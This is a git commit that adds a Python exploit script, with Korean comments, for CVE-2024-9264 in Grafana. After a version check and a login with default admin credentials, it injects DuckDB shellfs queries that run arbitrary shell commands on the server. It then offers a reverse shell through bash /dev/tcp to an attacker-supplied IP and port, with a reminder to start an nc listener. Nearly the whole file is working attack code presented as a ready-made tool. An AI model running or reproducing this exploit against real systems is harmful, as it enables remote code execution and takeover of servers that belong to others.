Add CVE-2024-9264 Exploit Module

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2025-09-24 04:03:44 +00:00
parent b8add201e5
commit f4d69d2b9f

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CVE-2024-9264/exploit.py Normal file
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#!/usr/bin/env python3
import requests
import sys
import logging
from psycopg2.extensions import adapt
from typing import List, Optional, Any
from colorama import Fore, init
from packaging.version import Version, InvalidVersion
init(autoreset=True)
# -------------------------
# 프롤로그
# -------------------------
print(r"""
_ __ _____ _____ _____ ___
| | / /|_ _|/ ___||_ _| / _ \
| |/ / | | \ `--. | | / /_\ \
| \ | | `--. \ | | | _ |
| |\ \ _| |_ /\__/ / _| |_ | | | |
\_| \_/ \___/ \____/ \___/ \_| |_/
Edited by : secKrity - 이민준
CVE ID : CVE-2024-9264
Affected product : Grafana
Vulnerable version : prior to 11.0.5+security-01, prior to 11.0.6+security-01, prior to 11.1.6+security-01, prior to 11.1.7+security-01, prior to 11.2.1+security-01, prior to 11.2.2+security-01
""")
# -------------------------
# 로깅 설정
# -------------------------
logging.basicConfig(
filename="grafana_exploit.log",
level=logging.INFO,
format="%(asctime)s - %(message)s",
)
def log_event(event: str, url: str = "", payload: str = ""):
logging.info(f"EVENT={event} URL={url} PAYLOAD={payload}")
# -------------------------
# 유틸: 컬러 출력
# -------------------------
def info(msg: str):
print(Fore.YELLOW + "[*] " + msg)
def success(msg: str):
print(Fore.GREEN + "[+] " + msg)
def vuln(msg: str):
print(Fore.RED + "[-] " + msg)
def error(msg: str):
print(Fore.RED + "[!] " + msg)
# -------------------------
# Grafana Exploit 클래스
# -------------------------
class GrafanaExploit:
def __init__(self, base_url, user="admin", password="admin"):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.user = user
self.password = password
def get_version(self) -> str:
urls = ["/api/health", "/api/frontend/settings"]
for path in urls:
url = self.base_url + path
try:
r = self.session.get(url, timeout=5)
log_event("version_check", url)
if r.status_code == 200:
data = r.json()
if "version" in data:
return data["version"]
if "buildInfo" in data and "version" in data["buildInfo"]:
return data["buildInfo"]["version"]
except Exception as e:
error(f"버전 확인 실패: {e}")
return "Unknown"
def login(self) -> bool:
url = self.base_url + "/login"
data = {"user": self.user, "password": self.password}
try:
r = self.session.post(url, json=data)
log_event("login_attempt", url, str(data))
if r.status_code == 200 and "Logged in" in r.text:
return True
except Exception as e:
error(f"로그인 실패: {e}")
return False
def run_query(self, query: str) -> Optional[List[Any]]:
url = self.base_url + "/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101"
payload = {
"from": "1729313027261",
"to": "1729334627261",
"queries": [
{
"datasource": {"name": "Expression", "type": "__expr__", "uid": "__expr__"},
"expression": query,
"hide": False,
"refId": "B",
"type": "sql",
"window": "",
}
],
}
try:
r = self.session.post(url, json=payload)
log_event("run_query", url, query)
return r.json()["results"]["B"]["frames"][0]["data"]["values"]
except Exception:
return None
def check_vuln(self):
tmp_file = "/tmp/grafana_id"
query = (
"SELECT 1;"
"install shellfs from community;"
"LOAD shellfs;"
f"SELECT * FROM read_csv('id >{tmp_file} 2>&1 |')"
)
self.run_query(query)
return self.read_remote_file(tmp_file)
def read_remote_file(self, filepath: str) -> Optional[bytes]:
escaped_filename = adapt(filepath)
query = f"SELECT content FROM read_blob({escaped_filename})"
result = self.run_query(query)
if result:
content = result[0][0]
try:
decoded = content.encode("utf-8").decode("unicode_escape").encode("latin1")
return decoded
except Exception:
return content.encode()
return None
def reverse_shell(self, lhost: str, lport: int):
tmp_file = "/tmp/grafana_rs"
cmd = f"bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\""
query = (
"SELECT 1;"
"install shellfs from community;"
"LOAD shellfs;"
f"SELECT * FROM read_csv('{cmd} >{tmp_file} 2>&1 |')"
)
self.run_query(query)
return self.read_remote_file(tmp_file)
# -------------------------
# 메뉴 실행
# -------------------------
def menu():
print("\n[ 메뉴 ]")
print("1) 버전 탐색")
print("2) 취약한 버전과 비교")
print("3) 익스플로잇 (id 실행)")
print("4) 리버스 셸 획득")
print("5) 나가기")
if __name__ == "__main__":
if len(sys.argv) < 2:
error(f"Usage: {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
exploit = GrafanaExploit(url)
while True:
menu()
choice = input(">> ")
if choice == "1":
info("Grafana 버전 확인 중...")
ver = exploit.get_version()
print("Grafana Version:", ver)
elif choice == "2":
info("취약 버전 리스트와 비교 중...")
ver = exploit.get_version()
print("현재 Grafana Version:", ver)
# CVE-2024-9264 영향/패치 버전 목록
patched_versions = [
"11.0.5+security-01",
"11.0.6+security-01",
"11.1.6+security-01",
"11.1.7+security-01",
"11.2.1+security-01",
"11.2.2+security-01",
]
vulnerable_start = "11.0.0"
try:
curr = Version(ver)
vs = Version(vulnerable_start)
min_patched = min(Version(v) for v in patched_versions)
if curr < vs:
success(f"{ver} 은 11.0.0 이전 버전으로, CVE-2024-9264 영향 없음.")
elif curr >= min_patched:
success(f"{ver} 은 패치된 버전 이상입니다. 취약하지 않을 가능성이 높습니다.")
else:
vuln(f"{ver} 은 CVE-2024-9264에 취약합니다. 즉시 업그레이드 필요!")
except InvalidVersion:
error(f"버전 파싱 실패: {ver}")
elif choice == "3":
info("로그인 시도...")
if exploit.login():
success("로그인 성공")
info("PoC 실행 (id)...")
output = exploit.check_vuln()
if output:
vuln("취약점 확인됨 (id 결과):")
print(output.decode(errors="ignore"))
else:
success("취약점 동작 안 함")
else:
error("로그인 실패")
elif choice == "4":
info("리버스 셸 시도...")
if exploit.login():
success("로그인 성공")
lhost = input("공격자 IP (LHOST): ")
lport = input("공격자 PORT (LPORT): ")
try:
lport = int(lport)
info(f"리버스 셸 연결 시도 ({lhost}:{lport})")
print(Fore.YELLOW + f"[!] 공격자 측에서 `nc -lvnp {lport}` 실행 중이어야 합니다.")
exploit.reverse_shell(lhost, lport)
vuln("리버스 셸 페이로드 전송 완료.")
except Exception as e:
error(f"리버스 셸 실행 오류: {e}")
else:
error("로그인 실패")
elif choice == "5":
info("프로그램 종료")
break
else:
error("잘못된 입력")